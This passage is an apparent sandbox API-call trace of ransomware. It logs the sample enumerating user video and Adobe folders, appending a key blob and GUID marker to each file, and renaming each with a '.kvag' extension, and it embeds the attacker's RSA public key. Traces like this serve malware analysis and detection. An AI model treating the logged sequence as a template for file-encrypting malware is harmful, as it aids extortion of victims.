ftLastWriteTime.dwLowDateTime=0x8ebd73f0, ftLastWriteTime.dwHighDateTime=0x1d4ceff, nFileSizeHigh=0x0, nFileSizeLow=0x89b5, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="vy43O2Ond- g.swf", cAlternateFileName="VY43O2~1.SWF")) returned 0 [0121.419] FindClose (in: hFindFile=0x6183848 | out: hFindFile=0x6183848) returned 1 [0121.419] PeekMessageW (in: lpMsg=0x6a5ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x6a5ff08) returned 0 [0121.419] PeekMessageW (in: lpMsg=0x6a5fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x6a5fb74) returned 0 [0121.419] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\PO z8nOyg\\E8MPONl9OoHt_q1Da\\vdLT\\") returned="vdLT\\" [0121.419] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\PO z8nOyg\\E8MPONl9OoHt_q1Da\\") returned="E8MPONl9OoHt_q1Da\\" [0121.419] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\PO z8nOyg\\") returned="PO z8nOyg\\" [0121.419] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\") returned="Videos\\" [0121.419] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0121.419] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0121.419] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0121.419] PathFindFileNameW (pszPath="") returned="" [0121.419] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\PO z8nOyg\\E8MPONl9OoHt_q1Da\\vdLT\\*", lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4711b630, ftCreationTime.dwHighDateTime=0x1d4d240, ftLastAccessTime.dwLowDateTime=0x83911100, ftLastAccessTime.dwHighDateTime=0x1d4c651, ftLastWriteTime.dwLowDateTime=0x83911100, ftLastWriteTime.dwHighDateTime=0x1d4c651, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6183848 [0121.420] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4711b630, ftCreationTime.dwHighDateTime=0x1d4d240, ftLastAccessTime.dwLowDateTime=0x83911100, ftLastAccessTime.dwHighDateTime=0x1d4c651, ftLastWriteTime.dwLowDateTime=0x83911100, ftLastWriteTime.dwHighDateTime=0x1d4c651, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0121.420] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdc5e2890, ftCreationTime.dwHighDateTime=0x1d4c63d, ftLastAccessTime.dwLowDateTime=0x1e0c4d0, ftLastAccessTime.dwHighDateTime=0x1d4ce20, ftLastWriteTime.dwLowDateTime=0x1e0c4d0, ftLastWriteTime.dwHighDateTime=0x1d4ce20, nFileSizeHigh=0x0, nFileSizeLow=0x18bc, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="A0XrY9 WNokaAWv.flv", cAlternateFileName="A0XRY9~1.FLV")) returned 1 [0121.420] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\PO z8nOyg\\E8MPONl9OoHt_q1Da\\vdLT\\A0XrY9 WNokaAWv.flv") returned=".flv" [0121.420] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\PO z8nOyg\\E8MPONl9OoHt_q1Da\\vdLT\\A0XrY9 WNokaAWv.flv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\po z8noyg\\e8mponl9ooht_q1da\\vdlt\\a0xry9 wnokaawv.flv"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x61c [0121.420] GetFileSizeEx (in: hFile=0x61c, lpFileSize=0x6a5fb40 | out: lpFileSize=0x6a5fb40*=6332) returned 1 [0121.420] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x6ba0000 [0121.422] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0x1896, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0121.422] ReadFile (in: hFile=0x61c, lpBuffer=0x6ba0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x6a5fb78, lpOverlapped=0x0 | out: lpBuffer=0x6ba0000*, lpNumberOfBytesRead=0x6a5fb78*=0x26, lpOverlapped=0x0) returned 1 [0121.424] ReadFile (in: hFile=0x61c, lpBuffer=0x6ba0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x6a5fb70, lpOverlapped=0x0 | out: lpBuffer=0x6ba0000*, lpNumberOfBytesRead=0x6a5fb70*=0x18bc, lpOverlapped=0x0) returned 1 [0121.424] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0121.424] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0121.424] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0121.424] CryptAcquireContextW (in: phProv=0x6a5fa50, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x6a5fa50*=0x3607030) returned 1 [0121.425] CryptCreateHash (in: hProv=0x3607030, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x6a5fa58 | out: phHash=0x6a5fa58) returned 1 [0121.425] CryptHashData (hHash=0x6183888, pbData=0x6194728, dwDataLen=0x1f3, dwFlags=0x0) returned 1 [0121.425] CryptGetHashParam (in: hHash=0x6183888, dwParam=0x2, pbData=0x0, pdwDataLen=0x6a5fa54, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x6a5fa54) returned 1 [0121.425] CryptGetHashParam (in: hHash=0x6183888, dwParam=0x2, pbData=0x614db40, pdwDataLen=0x6a5fa54, dwFlags=0x0 | out: pbData=0x614db40, pdwDataLen=0x6a5fa54) returned 1 [0121.425] CryptDestroyHash (hHash=0x6183888) returned 1 [0121.425] CryptReleaseContext (hProv=0x3607030, dwFlags=0x0) returned 1 [0121.425] UuidCreate (in: Uuid=0x6a5fa48 | out: Uuid=0x6a5fa48) returned 0x0 [0121.425] UuidToStringA (in: Uuid=0x6a5fa48, StringUuid=0x6a5fa40 | out: StringUuid=0x6a5fa40) returned 0x0 [0121.425] RpcStringFreeA (in: String=0x6a5fa40 | out: String=0x6a5fa40) returned 0x0 [0121.425] RtlReAllocateHeap (Heap=0x35b0000, Flags=0x0, Ptr=0x678a0c8, Size=0x218) returned 0x67741a0 [0121.426] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0x18bc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0121.426] WriteFile (in: hFile=0x61c, lpBuffer=0x6781548*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x6a5fb50, lpOverlapped=0x0 | out: lpBuffer=0x6781548*, lpNumberOfBytesWritten=0x6a5fb50*=0x100, lpOverlapped=0x0) returned 1 [0121.426] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0121.426] WriteFile (in: hFile=0x61c, lpBuffer=0x504440*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x6a5fb50, lpOverlapped=0x0 | out: lpBuffer=0x504440*, lpNumberOfBytesWritten=0x6a5fb50*=0x26, lpOverlapped=0x0) returned 1 [0121.426] CloseHandle (hObject=0x61c) returned 1 [0121.427] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\PO z8nOyg\\E8MPONl9OoHt_q1Da\\vdLT\\A0XrY9 WNokaAWv.flv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\po z8noyg\\e8mponl9ooht_q1da\\vdlt\\a0xry9 wnokaawv.flv"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\PO z8nOyg\\E8MPONl9OoHt_q1Da\\vdLT\\A0XrY9 WNokaAWv.flv.kvag" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\po z8noyg\\e8mponl9ooht_q1da\\vdlt\\a0xry9 wnokaawv.flv.kvag")) returned 1 [0121.428] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xded15be0, ftCreationTime.dwHighDateTime=0x1d4d148, ftLastAccessTime.dwLowDateTime=0x30b24ee0, ftLastAccessTime.dwHighDateTime=0x1d4cd40, ftLastWriteTime.dwLowDateTime=0x30b24ee0, ftLastWriteTime.dwHighDateTime=0x1d4cd40, nFileSizeHigh=0x0, nFileSizeLow=0x1097c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ZPzmVLw7V.mkv", cAlternateFileName="ZPZMVL~1.MKV")) returned 1 [0121.428] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\PO z8nOyg\\E8MPONl9OoHt_q1Da\\vdLT\\ZPzmVLw7V.mkv") returned=".mkv" [0121.428] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\PO z8nOyg\\E8MPONl9OoHt_q1Da\\vdLT\\ZPzmVLw7V.mkv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\po z8noyg\\e8mponl9ooht_q1da\\vdlt\\zpzmvlw7v.mkv"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x61c [0121.429] GetFileSizeEx (in: hFile=0x61c, lpFileSize=0x6a5fb40 | out: lpFileSize=0x6a5fb40*=67964) returned 1 [0121.429] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x6ba0000 [0121.431] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0x10956, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0121.431] ReadFile (in: hFile=0x61c, lpBuffer=0x6ba0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x6a5fb78, lpOverlapped=0x0 | out: lpBuffer=0x6ba0000*, lpNumberOfBytesRead=0x6a5fb78*=0x26, lpOverlapped=0x0) returned 1 [0121.432] ReadFile (in: hFile=0x61c, lpBuffer=0x6ba0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x6a5fb70, lpOverlapped=0x0 | out: lpBuffer=0x6ba0000*, lpNumberOfBytesRead=0x6a5fb70*=0x1097c, lpOverlapped=0x0) returned 1 [0121.433] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0121.433] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0121.433] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0121.433] CryptAcquireContextW (in: phProv=0x6a5fa50, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x6a5fa50*=0x3607030) returned 1 [0121.434] CryptCreateHash (in: hProv=0x3607030, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x6a5fa58 | out: phHash=0x6a5fa58) returned 1 [0121.434] CryptHashData (hHash=0x6183888, pbData=0x6194728, dwDataLen=0x1f3, dwFlags=0x0) returned 1 [0121.434] CryptGetHashParam (in: hHash=0x6183888, dwParam=0x2, pbData=0x0, pdwDataLen=0x6a5fa54, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x6a5fa54) returned 1 [0121.434] CryptGetHashParam (in: hHash=0x6183888, dwParam=0x2, pbData=0x614db40, pdwDataLen=0x6a5fa54, dwFlags=0x0 | out: pbData=0x614db40, pdwDataLen=0x6a5fa54) returned 1 [0121.434] CryptDestroyHash (hHash=0x6183888) returned 1 [0121.434] CryptReleaseContext (hProv=0x3607030, dwFlags=0x0) returned 1 [0121.434] UuidCreate (in: Uuid=0x6a5fa48 | out: Uuid=0x6a5fa48) returned 0x0 [0121.434] UuidToStringA (in: Uuid=0x6a5fa48, StringUuid=0x6a5fa40 | out: StringUuid=0x6a5fa40) returned 0x0 [0121.435] RpcStringFreeA (in: String=0x6a5fa40 | out: String=0x6a5fa40) returned 0x0 [0121.435] RtlReAllocateHeap (Heap=0x35b0000, Flags=0x0, Ptr=0x678a0c8, Size=0x218) returned 0x67741a0 [0121.435] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0x1097c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0121.435] WriteFile (in: hFile=0x61c, lpBuffer=0x6781548*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x6a5fb50, lpOverlapped=0x0 | out: lpBuffer=0x6781548*, lpNumberOfBytesWritten=0x6a5fb50*=0x100, lpOverlapped=0x0) returned 1 [0121.436] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0121.436] WriteFile (in: hFile=0x61c, lpBuffer=0x504440*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x6a5fb50, lpOverlapped=0x0 | out: lpBuffer=0x504440*, lpNumberOfBytesWritten=0x6a5fb50*=0x26, lpOverlapped=0x0) returned 1 [0121.436] CloseHandle (hObject=0x61c) returned 1 [0121.437] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\PO z8nOyg\\E8MPONl9OoHt_q1Da\\vdLT\\ZPzmVLw7V.mkv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\po z8noyg\\e8mponl9ooht_q1da\\vdlt\\zpzmvlw7v.mkv"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\PO z8nOyg\\E8MPONl9OoHt_q1Da\\vdLT\\ZPzmVLw7V.mkv.kvag" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\po z8noyg\\e8mponl9ooht_q1da\\vdlt\\zpzmvlw7v.mkv.kvag")) returned 1 [0121.438] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xded15be0, ftCreationTime.dwHighDateTime=0x1d4d148, ftLastAccessTime.dwLowDateTime=0x30b24ee0, ftLastAccessTime.dwHighDateTime=0x1d4cd40, ftLastWriteTime.dwLowDateTime=0x30b24ee0, ftLastWriteTime.dwHighDateTime=0x1d4cd40, nFileSizeHigh=0x0, nFileSizeLow=0x1097c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ZPzmVLw7V.mkv", cAlternateFileName="ZPZMVL~1.MKV")) returned 0 [0121.438] FindClose (in: hFindFile=0x6183848 | out: hFindFile=0x6183848) returned 1 [0121.438] PeekMessageW (in: lpMsg=0x6a5ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x6a5ff08) returned 0 [0121.438] PeekMessageW (in: lpMsg=0x6a5fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x6a5fb74) returned 0 [0121.438] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Acrobat\\10.0\\") returned="10.0\\" [0121.439] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Acrobat\\") returned="Acrobat\\" [0121.439] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\") returned="Adobe\\" [0121.439] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\") returned="LocalLow\\" [0121.439] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\") returned="AppData\\" [0121.439] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0121.439] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0121.439] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0121.439] PathFindFileNameW (pszPath="") returned="" [0121.439] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Acrobat\\10.0\\*", lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd6e27e0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xe5b04330, ftLastAccessTime.dwHighDateTime=0x1d35d05, ftLastWriteTime.dwLowDateTime=0xe5b04330, ftLastWriteTime.dwHighDateTime=0x1d35d05, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6183848 [0121.441] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd6e27e0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xe5b04330, ftLastAccessTime.dwHighDateTime=0x1d35d05, ftLastWriteTime.dwLowDateTime=0xe5b04330, ftLastWriteTime.dwHighDateTime=0x1d35d05, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0121.441] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xd9b6a040, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xd9b6a040, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xde963ca0, ftLastWriteTime.dwHighDateTime=0x1d2e625, nFileSizeHigh=0x0, nFileSizeLow=0xa5ff, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="rdrmessage.zip", cAlternateFileName="RDRMES~1.ZIP")) returned 1 [0121.441] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Acrobat\\10.0\\rdrmessage.zip") returned=".zip" [0121.441] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Acrobat\\10.0\\rdrmessage.zip" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\adobe\\acrobat\\10.0\\rdrmessage.zip"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x61c [0121.442] GetFileSizeEx (in: hFile=0x61c, lpFileSize=0x6a5fb40 | out: lpFileSize=0x6a5fb40*=42495) returned 1 [0121.442] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x6ba0000 [0121.444] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0xa5d9, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0121.444] ReadFile (in: hFile=0x61c, lpBuffer=0x6ba0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x6a5fb78, lpOverlapped=0x0 | out: lpBuffer=0x6ba0000*, lpNumberOfBytesRead=0x6a5fb78*=0x26, lpOverlapped=0x0) returned 1 [0121.447] ReadFile (in: hFile=0x61c, lpBuffer=0x6ba0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x6a5fb70, lpOverlapped=0x0 | out: lpBuffer=0x6ba0000*, lpNumberOfBytesRead=0x6a5fb70*=0xa5ff, lpOverlapped=0x0) returned 1 [0121.448] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0121.448] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0121.449] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0121.449] CryptAcquireContextW (in: phProv=0x6a5fa50, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x6a5fa50*=0x3608020) returned 1 [0121.449] CryptCreateHash (in: hProv=0x3608020, Algid=0x8003, hKey=0x0, dwFlags=0x0, 